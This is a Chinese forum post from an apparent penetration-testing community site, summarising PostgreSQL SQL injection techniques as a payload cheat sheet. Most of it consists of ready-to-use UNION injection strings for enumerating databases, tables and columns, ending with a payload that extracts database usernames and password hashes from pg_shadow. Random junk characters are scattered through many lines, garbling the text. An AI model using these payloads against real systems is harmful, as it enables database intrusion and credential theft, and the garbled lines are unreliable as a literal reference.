中国网络渗透测试联盟

标题: postgreSQL注入总结 [打印本页]

作者: admin    时间: 2013-10-13 12:57
标题: postgreSQL注入总结
结合了MSSQL MySQL Oracle的一些特点: I: g0 A& r. H+ b' O( H* e

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
: R4 w  W4 [! i  |; v% U% \连接符: %20 , + , /**/

内置函数:+ R1 ~9 K* A* V2 G
current_database() //当前数据库名
+ j# Q, H% ~  ]  Z: hsession_user //会话用户/ W. t  r; M0 d5 @# a& Q
current_user //当前数据库用户
0 [( \9 H* G3 Guser //当前用户& [9 t  _7 m4 s$ k9 D
version() //数据库版本

Union注射:
/ N+ e  G3 L- C/ k! t. @9 Porder by n–
8 b& N, ~# V. j" ]# R2 [! }, ]# Eand 1=2 union select null,null,null–
0 j$ Q- `: P8 m  \7 D& x% `and 1=2 union select ‘beach’,null,null–
  f; G; q$ X7 A9 z/ y" Z8 eand 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):: T: Z3 d* B) U% ]" X, M  `
group_concat(table_name)  S  h! N4 f" [( O" _2 ]5 m
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–/ Q9 m9 O; C( j3 y& D5 H
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
$ W2 j8 b3 N( u, {5 ~6 t! e: t  }+ u$ t(老版本)7 g5 \7 }3 B/ I. h6 K9 B
pg_class.oid对应pg_attribute.attrelid  p6 M! T- k, J$ K/ [
pg_class.relname表名
4 H2 n# W" t" i+ B1 q  @pg_attribute.attname字段名

select relname from pg_class获取表名3 q( z" C6 Y8 O3 L" `, L: J; V8 T: u
select oid from pg_class where 条件 获取参数
. T) S) f" A2 e- ?' \0 H* d! i  hselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
, y& W" W! Y  y9 }, t5 L4 }; Zand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表4 R7 V; l2 H/ k# O
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
) P9 p: ?: Y% E& t2 G7 E1 O由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
& r" o% S+ _0 u: \======================================================================4 ]( Y8 @6 X. r2 @# _0 d
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库- `- l7 n$ M7 |* B0 f1 B
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码






欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2